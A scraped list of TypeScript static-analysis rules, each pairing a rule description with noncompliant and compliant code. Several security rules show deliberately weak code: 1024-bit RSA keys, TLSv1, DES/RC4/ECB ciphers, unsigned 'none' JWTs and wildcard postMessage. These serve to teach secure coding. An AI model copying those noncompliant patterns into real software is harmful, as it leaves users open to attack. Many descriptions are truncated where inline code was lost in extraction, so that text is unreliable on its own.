cookie: { httpOnly: true }}); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) { // Compliant - depth = 1 /* ... */ if (condition2) { // Compliant - depth = 2 /* ... */ for(let i = 0; i < 10; i++) { // Compliant - depth = 3, not exceeding the limit /* ... */ if (condition4) { // Non-Compliant - depth = 4 if (condition5) { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 /* ... */ } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4782 |
In TypeScript there are several ways to declare a property with interface Person { name: string; address: string | undefined; } let John = { name: "John" }; // will not compile let John = { name: "John", address: undefined }; // will compile, we want to be explicit when person does not have home Use optional property syntax for properties holding some additional information. interface Person { name: string; pet?: string; } let John = { name: "John" }; // will compile let John = { name: "John", pet: undefined }; // will compile, there is no pet like for the object on previous line let John = { name: "John", pet: "Benji" }; // will compile Using Noncompliant Code Exampleinterface Person { name: string; address? : string | undefined; // Noncompliant, "?" should be removed pet?: Animal | undefined; // Noncompliant, "undefined" should be removed } Compliant Solutioninterface Person { name: string; address: string | undefined; pet?: Animal; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S131 |
The requirement for a final Noncompliant Code Exampleswitch (param) { //missing default clause case 0: doSomething(); break; case 1: doSomethingElse(); break; } switch (param) { default: // default clause should be the last one error(); break; case 0: doSomething(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3696 |
It is a bad practice to Specifically, part of the point of throwing \ Noncompliant Code Examplethrow 404; // Noncompliant throw "Invalid negative index."; // Noncompliant Compliant Solutionthrow new Error("Status: " + 404); throw new Error("Invalid negative index.");{code} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2123 |
A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug. Noncompliant Code Examplefunction pickNumber() { let i = 0; i = i++; // Noncompliant; i is still zero return i++; // Noncompliant; 0 returned } Compliant Solutionfunction pickNumber() { let i = 0; i++; return ++i; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1154 |
Doing an operation on a string without using the result of the operation is useless and is certainly due to a misunderstanding. Noncompliant Code Examplevar str = "..." str.toUpperCase(); // Noncompliant Compliant Solutionvar str = "..." str = str.toUpperCase(); See
DeprecatedThis rule is deprecated; use S2201 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5757 |
Log management is an important topic, especially for the security of a web application, to ensure user activity, including potential attackers, is recorded and available for an analyst to understand what's happened on the web application in case of malicious activities. Retention of specific logs for a defined period of time is often necessary to comply with regulations such as GDPR, PCI DSS and others. However, to protect user's privacy, certain informations are forbidden or strongly discouraged from being logged, such as user passwords or credit card numbers, which obviously should not be stored or at least not in clear text. Ask Yourself WhetherIn a production environment:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesLoggers should be configured with a list of confidential, personal information that will be hidden/masked or removed from logs. Sensitive Code ExampleWith Signale log management framework the code is sensitive when an empty list of secrets is defined: const { Signale } = require('signale'); const CREDIT_CARD_NUMBERS = fetchFromWebForm() // here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance const options = { secrets: [] // empty list of secrets }; const logger = new Signale(options); // Sensitive CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) { logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER); }); Compliant SolutionWith Signale log management framework it is possible to define a list of secrets that will be hidden in logs: const { Signale } = require('signale'); const CREDIT_CARD_NUMBERS = fetchFromWebForm() // here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance const options = { secrets: ["([0-9]{4}-?)+"] }; const logger = new Signale(options); // Compliant CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) { logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER); }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4426 |
Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks. NIST recommendations will be checked for these use-cases: Digital Signature Generation and Verification:
Key Agreement:
Symmetric keys:
This rule will not raise issues for ciphers that are considered weak (no matter the key size) like Noncompliant Code Examplecrypto built-in module: var { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 1024, // Noncompliant publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }); // Noncompliant: 1024 bits is too short for a RSA key pair crypto.generateKeyPair('ec', { namedCurve: 'secp112r2', publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // Noncompliant: secp112r2 curve doesn't provide enough security Compliant Solutioncrypto built-in module: crypto.generateKeyPair('rsa', { modulusLength: 2048, // Compliant publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // Compliant crypto.generateKeyPair('ec', { namedCurve: 'secp224k1', publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. As the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleconst val = Math.random(); // Sensitive // Check if val is used in a security context. Compliant Solution// === Client side === const crypto = window.crypto || window.msCrypto; var array = new Uint32Array(1); crypto.getRandomValues(array); // Compliant for security-sensitive use cases // === Server side === const crypto = require('crypto'); const buf = crypto.randomBytes(1); // Compliant for security-sensitive use cases See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3579 |
Associative arrays allow you to store values in an array with either numeric or named indexes. But creating and populating an object is just as easy as an array, and more reliable if you need named members. Noncompliant Code Examplelet arr = []; arr[0] = 'a'; arr['name'] = 'bob'; // Noncompliant arr[1] = 'foo'; Compliant Solutionlet obj = { name: 'bob', arr: ['a', 'foo'] }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4423 |
Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure. This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3"). Noncompliant Code Example
let options = { secureProtocol: 'TLSv1_method' // Noncompliant: TLS1.0 is insecure }; let options = { minVersion: 'TLSv1.1', // Noncompliant: TLS1.1 is insecure maxVersion: 'TLSv1.2' }; let options = { secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 }; // Noncompliant TLS 1.1 (constants.SSL_OP_NO_TLSv1_1) is not disabled https built-in module: let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let socket = tls.connect(443, "www.example.com", options, () => { }); // Noncompliant request module: let socket = request.get(options); Compliant SolutionSet either let options = { secureProtocol: 'TLSv1_2_method' }; // or let options = { secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1 }; // or let options = { minVersion: 'TLSv1.2' }; https built-in module: let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant tls built-in module: let socket = tls.connect(443, "www.example.com", options, () => { }); request module: let socket = request.get(options); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example// === Client side === crypto.subtle.encrypt(algo, key, plainData); // Sensitive crypto.subtle.decrypt(algo, key, encData); // Sensitive // === Server side === const crypto = require("crypto"); const cipher = crypto.createCipher(algo, key); // Sensitive const cipheriv = crypto.createCipheriv(algo, key, iv); // Sensitive const decipher = crypto.createDecipher(algo, key); // Sensitive const decipheriv = crypto.createDecipheriv(algo, key, iv); // Sensitive const pubEnc = crypto.publicEncrypt(key, buf); // Sensitive const privDec = crypto.privateDecrypt({ key: key, passphrase: secret }, pubEnc); // Sensitive const privEnc = crypto.privateEncrypt({ key: key, passphrase: secret }, buf); // Sensitive const pubDec = crypto.publicDecrypt(key, privEnc); // Sensitive See
DeprecatedThis rule is deprecated; use S4426 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3699 |
If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its
"result" to a variable is probably a bug because such functions return Noncompliant Code Examplefunction foo() { console.log("Hello, World!"); } a = foo(); Compliant Solutionfunction foo() { console.log("Hello, World!"); } foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2392 |
Variables that are declared inside a block but used outside of it (which is possible with a Noncompliant Code Examplefunction doSomething(a, b) { if (a > b) { var x = a - b; // Noncompliant } if (a > 4) { console.log(x); } for (var i = 0; i < m; i++) { // Noncompliant, both loops use same variable } for (var i = 0; i < n; i++) { } return a + b; } Compliant Solutionfunction doSomething(a, b) { var x; if (a > b) { x = a - b; } if (a > 4) { console.log(x); } for (let i = 0; i < m; i++) { } for (let i = 0; i < n; i++) { } return a + b; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3801 |
Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain. In particular a function, in JavaScript, will return
This rule verifies that return values are either always or never specified for each path through a function. Noncompliant Code Examplefunction foo(a) { // Noncompliant, function exits without "return" if (a == 1) { return true; } } Compliant Solutionfunction foo(a) { if (a == 1) { return true; } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doOneMoreThing(); } else { doOneMoreThing(); } let a = (b == 0) ? getValue() : getValue(); // Noncompliant switch (i) { // Noncompliant case 1: doSomething(); break; case 2: doSomething(); break; case 3: doSomething(); break; default: doSomething(); } ExceptionsThis rule does not apply to if(b == 0) { //no issue, this could have been done on purpose to make the code more readable doSomething(); } else if(b == 1) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3001 |
The semantics of the Noncompliant Code Examplevar x = 1; delete x; // Noncompliant function foo(){ .. } delete foo; // Noncompliant Compliant Solutionvar obj = { x:1, foo: function(){ ... } }; delete obj.x; delete obj.foo; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1186 |
There are several reasons for a function not to have a function body:
Noncompliant Code Examplefunction foo() { } var foo = () => {}; Compliant Solutionfunction foo() { // This is intentional } var foo = () => { do_something(); }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1066 |
Merging collapsible Noncompliant Code Exampleif (x != undefined) { if (y === 2) { // ... } } Compliant Solutionif (x != undefined && y === 2) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3003 |
The use of comparison operators ( Noncompliant Code Examplevar appleNumber = "123"; var orangeNumber = "45"; if (appleNumber < orangeNumber) { // Noncompliant, this condition is true alert("There are more oranges"); } Compliant Solutionvar appleNumber = "123"; var orangeNumber = "45"; if (Number(appleNumber) < Number(orangeNumber)) { alert("There are more oranges"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code Examplecrypto built-in module: crypto.createCipheriv("AES-128-CBC", key, iv); // Noncompliant: CBC with PKCS5/7 (set by default) is vulnerable to oracle padding attacks crypto.createCipheriv("AES-128-ECB", key, ""); // Noncompliant: ECB doesn't provide serious message confidentiality Compliant Solutioncrypto built-in module: crypto.createCipheriv("AES-256-GCM", key, iv); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community. More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits. Noncompliant Code Examplecrypto built-in module: crypto.createCipheriv("DES", key, iv); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("DES-EDE", key, ""); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("DES-EDE3", key, ""); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("RC2", key, iv); // Noncompliant: RC2 is vulnerable to a related-key attack crypto.createCipheriv("RC4", key, "");// Noncompliant: RC4 is vulnerable to several attacks crypto.createCipheriv("BF", key, iv);// Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks Compliant Solutioncrypto built-in module: crypto.createCipheriv("AES-256-GCM", key, iv); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.
Note that this rule requires Node.js to be available during analysis. Noncompliant Code Exampleif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 1) // Noncompliant moveWindowToTheBackground(); Compliant Solutionif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 3) moveWindowToTheBackground(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4335 |
An intersection type combines multiple types into one. This allows you to add together existing types to get a single type that has all the
features you need. However an intersection with a type without members doesn't change the resulting type. In the opposite the usage of
Noncompliant Code Examplefunction foo(p: MyType & null) { // Noncompliant // ... } function bar(p: MyType & any) { // Noncompliant // ... } Compliant Solutionfunction foo(p: MyType | null) { // ... } // or function foo(p: MyType & AnotherType) { // ... } function bar(p: any) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2260 |
When the JavaScript parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2819 |
Browsers allow message exchanges between Window objects of different origins. Because any window can send / receive messages from other window it is important to verify the sender's / receiver's identity:
Noncompliant Code ExampleWhen sending message: var iframe = document.getElementById("testiframe"); iframe.contentWindow.postMessage("secret", "*"); // Noncompliant: * is used When receiving message: window.addEventListener("message", function(event) { // Noncompliant: no checks are done on the origin property. console.log(event.data); }); Compliant SolutionWhen sending message: var iframe = document.getElementById("testsecureiframe"); iframe.contentWindow.postMessage("hello", "https://secure.example.com"); // Compliant When receiving message: window.addEventListener("message", function(event) { if (event.origin !== "http://example.org") // Compliant return; console.log(event.data) }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Examplei = a + b; // Noncompliant; calculation result not used before value is overwritten i = compute(); Compliant Solutioni = a + b; i += compute(); ExceptionsThis rule ignores initializations to -1, 0, 1, This rule also ignores variables declared with object destructuring using rest syntax (used to exclude some properties from object): let {a, b, ...rest} = obj; // 'a' and 'b' are ok doSomething(rest); let [x1, x2, x3] = arr; // but 'x1' is noncompliant, as omitting syntax can be used: "let [, x2, x3] = arr;" doSomething(x2, x3); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4328 |
Dependencies should be explicitly listed in the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5659 |
If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.
Noncompliant Code Examplejsonwebtoken library: const jwt = require('jsonwebtoken'); let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'none' }); // Noncompliant: 'none' cipher doesn't sign the JWT (no signature will be included) jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['RS256', 'none'] }, callbackcheck); // Noncompliant: 'none' cipher should not be used when verifying JWT signature Compliant Solutionjsonwebtoken library: const jwt = require('jsonwebtoken'); let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'HS256' }); // Compliant jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['HS256'] }, callbackcheck); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4322 |
A common idiom in JavaScript to differentiate between two possible types is to check for the presence in the object of a member of the desired type. Usually, to simplify the code, a boolean function is created to check the type. Typescript provides user defined type guard functions. These are just functions with a return type of This rule raises an issue when a boolean function checking for the type of its only argument can be replaced with a user-defined type guard function. Noncompliant Code Examplefunction isSomething(x: BaseType) : boolean { // Noncompliant return (<Something>x).foo !== undefined; } if (isSomething(v)) { (<Something>v).foo(); } Compliant Solutionfunction isSomething(x: BaseType) : x is Something { return (<Something>x).foo !== undefined; } if (isSomething(v)) { v.foo(); } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3353 |
Marking a variable that is unchanged after initialization Noncompliant Code Examplefunction seek(input) { let target = 32; // Noncompliant for (let i of input) { if (i == target) { return true; } } return false; } function getUrl(query) { let url; // Noncompliant url = "http://example.com"; return url; } Compliant Solutionfunction seek(input) { const target = 32; for (let i of input) { if (i == target) { return true; } } return false; } function getUrl(query) { const url = "http://example.com"; return url; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4323 |
Union and intersection types are convenient but can make code harder to read and maintain. So if a particular union or intersection is used in multiple places, the use of a type alias is recommended. Noncompliant Code Examplefunction foo(x:string|null|number) { // Noncompliant // ... } function bar(x:string|null|number) { // ... } function zoo(): string|null|number { return null; } Compliant Solutiontype MyType = string | null | number; function foo(x: MyType) { // ... } function bar(x: MyType) { // ... } function zoo(): MyType { return null; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4326 |
An Noncompliant Code Exampleasync function foo() { // ... } async function bar() { // ... return await foo(); // Noncompliant } Compliant Solutionasync function foo() { // ... } async function bar() { // ... return foo(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4327 |
Assigning This rule raises an issue when Noncompliant Code Examplefunction Foo() { let that = this; // Noncompliant that.val = 0; setInterval(function() { that.val++; }, 1000); } Compliant Solutionfunction Foo() { this.val = 0; setInterval(() => { this.val++; }, 1000); } ExceptionsThis rule ignores const { foo, bar } = this; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4324 |
The return type Noncompliant Code Examplefunction foo() : any { // Noncompliant return 1; } Compliant Solutionfunction foo() { return 1; } // or function foo(): number { return 1; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Examplefunction getReadableStatus(job) { return job.isRunning() ? "Running" : job.hasErrors() ? "Failed" : "Succeeded "; // Noncompliant } Compliant Solutionfunction getReadableStatus(job) { if (job.isRunning()) { return "Running"; } return job.hasErrors() ? "Failed" : "Succeeded"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4204 |
Variables can be declared with or without types. Variables declared without a type will be implicitly typed if the declaration includes an
initialization, and compiler type checking will be automatically applied to any typed variable. But if you declare a variable with the
Noncompliant Code Examplelet a = 42; // implicitly typed to number let b: number = 42; // explicitly typed to number let c: any = 42; // Noncompliant Compliant Solutionlet a = 42; let b: number = 42; let c: number = 42; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4325 |
The TypeScript compiler automatically casts a variable to the relevant type inside conditionals where it is possible to infer the type (because
Noncompliant Code Examplefunction getName(x?: string | UserName) { if (x) { console.log("Getting name for " + x!); // Noncompliant if (typeof x === "string") return (x as string); // Noncompliant else return (x as UserName).name; // Noncompliant } return "NoName"; } Compliant Solutionfunction getName(x?: string | UserName) { if (x) { console.log("Getting name for " + x); if (typeof x === "string") return x; else return x.name; } return "NoName"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5728 |
Content security policy (CSP) (fetch directives) is a W3C standard which is used by a server to specify, via a http header, the origins from where the browser is allowed to load resources. It can help to mitigate the risk of cross site scripting (XSS) attacks and reduce privileges used by an application. If the website doesn't define CSP header the browser will apply same-origin policy by default. Content-Security-Policy: default-src 'self'; script-src ‘self ‘ http://www.example.com In the above example, all resources are allowed from the website where this header is set and script resources fetched from example.com are also authorized: <img src="selfhostedimage.png></script> <!-- will be loaded because default-src 'self'; directive is applied --> <img src="http://www.example.com/image.png></script> <!-- will NOT be loaded because default-src 'self'; directive is applied --> <script src="http://www.example.com/library.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.comdirective is applied --> <script src="selfhostedscript.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.com directive is applied --> <script src="http://www.otherexample.com/library.js></script> <!-- will NOT be loaded because script-src ‘self ‘ http://www.example.comdirective is applied --> Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy fetch directives, in particular default-src directive and continue to properly sanitize and validate all inputs of the application, indeed CSP fetch directives is only a tool to reduce the impact of cross site scripting attacks. Sensitive Code ExampleIn a Express.js application, the code is sensitive if the helmet contentSecurityPolicy middleware is disabled: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ contentSecurityPolicy: false, // sensitive }) ); Compliant SolutionIn a Express.js application, a standard way to implement CSP is the helmet contentSecurityPolicy middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.contentSecurityPolicy()); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1128 |
There's no reason to import modules you don't use; and every reason not to: doing so needlessly increases the load. Noncompliant Code Exampleimport A from 'a'; // Noncompliant, A isn't used import { B1 } from 'b'; console.log(B1); Compliant Solutionimport { B1 } from 'b'; console.log(B1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5725 |
Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding Practices
Sensitive Code Examplelet script = document.createElement("script"); // Sensitive script.src = "https://cdnexample.com/script-latest.js"; script.crossOrigin = "anonymous"; document.head.appendChild(script); Compliant Solutionlet script = document.createElement("script"); script.src = "https://cdnexample.com/script-v1.2.3.js"; script.integrity = "sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"; // Compliant script.crossOrigin = "anonymous"; document.head.appendChild(script); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5604 |
Powerful features are browser features (geolocation, camera, microphone ...) that can be accessed with JavaScript API and may require a permission granted by the user. These features can have a high impact on privacy and user security thus they should only be used if they are really necessary to implement the critical parts of an application. This rule highlights intrusive permissions when requested with the future standard (but currently experimental) web browser query API and specific APIs related to the permission. It is highly recommended to customize this rule with the permissions considered as intrusive in the context of the web application. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleWhen using geolocation API, Firefox for example retrieves personal information like nearby wireless access points and IP address and sends it to the default geolocation service provider, Google Location Services: navigator.permissions.query({name:"geolocation"}).then(function(result) { }); // Sensitive: geolocation is a powerful feature with high privacy concerns navigator.geolocation.getCurrentPosition(function(position) { console.log("coordinates x="+position.coords.latitude+" and y="+position.coords.longitude); }); // Sensitive: geolocation is a powerful feature with high privacy concerns Compliant SolutionIf geolocation is required, always explain to the user why the application needs it and prefer requesting an approximate location when possible: <html> <head> <title> Retailer website example </title> </head> <body> Type a city, street or zip code where you want to retrieve the closest retail locations of our products: <form method=post> <input type=text value="New York"> <!-- Compliant --> </form> </body> </html> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2692 |
Most checks against an Noncompliant Code Examplevar color = "blue"; var name = "ishmael"; var number = 123; var arr = [color, name]; if (arr.indexOf("blue") > 0) { // Noncompliant // ... } if (name.indexOf("ish") > 0) { // Noncompliant // ... } Compliant Solutionvar color = "blue"; var name = "ishmael"; var number = 123; var arr = [color, name]; if (arr.indexOf("blue") >= 0) { // ... } if (name.includes("ish")) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1121 |
